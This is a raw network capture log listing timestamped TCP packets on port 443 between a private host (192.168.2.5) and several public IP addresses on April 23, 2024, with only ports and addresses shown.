Apr 23, 2024 21:53:38.741111040 CEST	443	49739	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:38.741450071 CEST	49740	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:38.741478920 CEST	443	49740	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:38.741673946 CEST	49739	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:38.741731882 CEST	443	49739	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:38.742922068 CEST	443	49740	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:38.742995977 CEST	49740	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:38.743164062 CEST	443	49739	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:38.743240118 CEST	49739	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:38.746624947 CEST	49740	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:38.746707916 CEST	443	49740	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:38.747175932 CEST	49739	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:38.747262001 CEST	443	49739	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:38.747390985 CEST	49740	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:38.747397900 CEST	443	49740	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:38.765554905 CEST	443	49738	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:38.765872002 CEST	49738	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:38.765948057 CEST	443	49738	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:38.767158031 CEST	443	49738	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:38.767596960 CEST	49738	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:38.767754078 CEST	49738	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:38.767821074 CEST	443	49738	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:38.792490959 CEST	49740	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:38.792512894 CEST	49739	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:38.792552948 CEST	443	49739	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:38.807482004 CEST	49738	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:38.838290930 CEST	49739	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:39.073283911 CEST	443	49738	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:39.073367119 CEST	443	49738	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:39.073386908 CEST	443	49738	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:39.073425055 CEST	443	49738	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:39.073440075 CEST	49738	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:39.073472977 CEST	443	49738	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:39.073487997 CEST	443	49738	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:39.073513031 CEST	49738	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:39.073529959 CEST	443	49738	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:39.073544025 CEST	49738	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:39.073566914 CEST	443	49738	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:39.073604107 CEST	443	49738	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:39.073605061 CEST	49738	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:39.073668003 CEST	49738	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:39.073676109 CEST	443	49738	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:39.073753119 CEST	443	49738	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:39.073806047 CEST	49738	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:39.075428009 CEST	49738	443	192.168.2.5	52.146.76.30
Apr 23, 2024 21:53:39.075448036 CEST	443	49738	52.146.76.30	192.168.2.5
Apr 23, 2024 21:53:39.310139894 CEST	443	49740	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:39.310394049 CEST	443	49740	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:39.310482979 CEST	443	49740	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:39.310537100 CEST	49740	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:39.310560942 CEST	443	49740	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:39.310628891 CEST	49740	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:39.310635090 CEST	443	49740	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:39.310745955 CEST	443	49740	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:39.310801983 CEST	49740	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:39.310807943 CEST	443	49740	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:39.310978889 CEST	443	49740	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:39.311064005 CEST	49740	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:39.313926935 CEST	49740	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:53:39.313942909 CEST	443	49740	172.67.143.205	192.168.2.5
Apr 23, 2024 21:53:39.450464964 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:39.450553894 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.450671911 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:39.450979948 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:39.451014996 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.451294899 CEST	49742	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:39.451359034 CEST	443	49742	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:39.451476097 CEST	49742	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:39.451731920 CEST	49742	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:39.451761961 CEST	443	49742	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:39.680516005 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.680865049 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:39.680916071 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.681543112 CEST	443	49742	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:39.682570934 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.682661057 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:39.684055090 CEST	49742	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:39.684073925 CEST	443	49742	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:39.685703993 CEST	443	49742	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:39.685781956 CEST	49742	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:39.687083006 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:39.687180996 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.687568903 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:39.687585115 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.687761068 CEST	49742	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:39.687855959 CEST	443	49742	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:39.688209057 CEST	49742	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:39.688227892 CEST	443	49742	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:39.728760004 CEST	49742	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:39.729089975 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:39.878798962 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.896296024 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.896317959 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.896372080 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.896379948 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:39.896405935 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.896445036 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:39.896478891 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:39.917177916 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.917201042 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.917298079 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:39.917321920 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.931494951 CEST	443	49742	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:39.931659937 CEST	443	49742	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:39.931742907 CEST	49742	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:39.932495117 CEST	49742	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:39.932517052 CEST	443	49742	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:39.938752890 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:39.938798904 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:39.938937902 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:39.939774036 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:39.939790010 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:39.964441061 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:39.993539095 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.993565083 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.993628025 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.993652105 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:39.993683100 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.993716955 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:39.993726015 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:39.993769884 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:40.011166096 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:40.011209965 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:40.011261940 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:40.011298895 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:40.011338949 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:40.011367083 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:40.024389029 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:40.024409056 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:40.024478912 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:40.024499893 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:40.024554014 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:40.029936075 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:40.030025005 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:40.030025959 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:40.030086040 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:40.030529976 CEST	49741	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:53:40.030551910 CEST	443	49741	151.101.194.137	192.168.2.5
Apr 23, 2024 21:53:40.160454035 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.160815001 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.160876036 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.162043095 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.162697077 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.162878990 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.162897110 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.162934065 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.212732077 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.434446096 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.434633970 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.434714079 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.434726000 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.434777975 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.434887886 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.434895992 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.434911966 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.434987068 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.434998989 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.435139894 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.435228109 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.435233116 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.435252905 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.435394049 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.435405970 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.435496092 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.435581923 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.435642958 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.435656071 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.435714960 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.435724974 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.436077118 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.436158895 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.436171055 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.436265945 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.436356068 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.436367989 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.436381102 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.436451912 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.436461926 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.436974049 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.437063932 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.437124014 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.437135935 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.437195063 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.437206030 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.437679052 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.437796116 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.437843084 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.437856913 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.437917948 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.437928915 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.438035011 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.438101053 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.438111067 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.438572884 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.438633919 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.438644886 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.438726902 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.438792944 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.439577103 CEST	49743	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:53:40.439606905 CEST	443	49743	104.17.2.184	192.168.2.5
Apr 23, 2024 21:53:40.574896097 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:40.574956894 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:40.575217009 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:40.575479031 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:40.575515032 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:40.790071964 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:40.790534973 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:40.790585041 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:40.792030096 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:40.792155027 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:40.793955088 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:40.794054031 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:40.794341087 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:40.794358969 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:40.839060068 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.063539028 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.063725948 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.063801050 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.063812017 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.063868046 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.063934088 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.063951969 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.064044952 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.064152002 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.064165115 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.064269066 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.064354897 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.064420938 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.064435959 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.064512968 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.064526081 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.064601898 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.064681053 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.064749002 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.064750910 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.064779997 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.064837933 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.064893007 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.065038919 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.065094948 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.065108061 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.065170050 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.065181971 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.065722942 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.065788984 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.065802097 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.065890074 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.065963030 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.065972090 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.065994978 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.066086054 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.066098928 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.066772938 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.066854000 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.066917896 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.066932917 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.066992044 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.067003965 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.067090988 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.067197084 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.067210913 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.067604065 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.067679882 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.067739010 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.067754030 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.067806959 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.067820072 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.067910910 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.067990065 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.068044901 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.068058968 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.068150043 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.068162918 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.068502903 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.068593025 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.068679094 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.068696976 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.068793058 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.068852901 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.068866968 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.068922997 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.068934917 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.069360971 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.069423914 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.069437027 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.069459915 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.069528103 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.069550037 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.069580078 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.069622993 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.069663048 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.112018108 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.112129927 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.112238884 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.112652063 CEST	49745	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.112687111 CEST	443	49745	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.120541096 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.120557070 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.166253090 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.167820930 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.168719053 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.168802023 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.168804884 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.168824911 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.168963909 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.168978930 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.169270039 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.169351101 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.169364929 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.169581890 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.169648886 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.169662952 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.169938087 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.169998884 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.170011997 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.170205116 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.170267105 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.170280933 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.170528889 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.170598984 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.170612097 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.171149969 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.171406031 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.171418905 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.171871901 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.171945095 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.171952009 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.171973944 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.172149897 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.172163010 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.172264099 CEST	49744	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:41.172282934 CEST	443	49744	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:41.172336102 CEST	443	49744	104.17.3.184	192.168.2.5
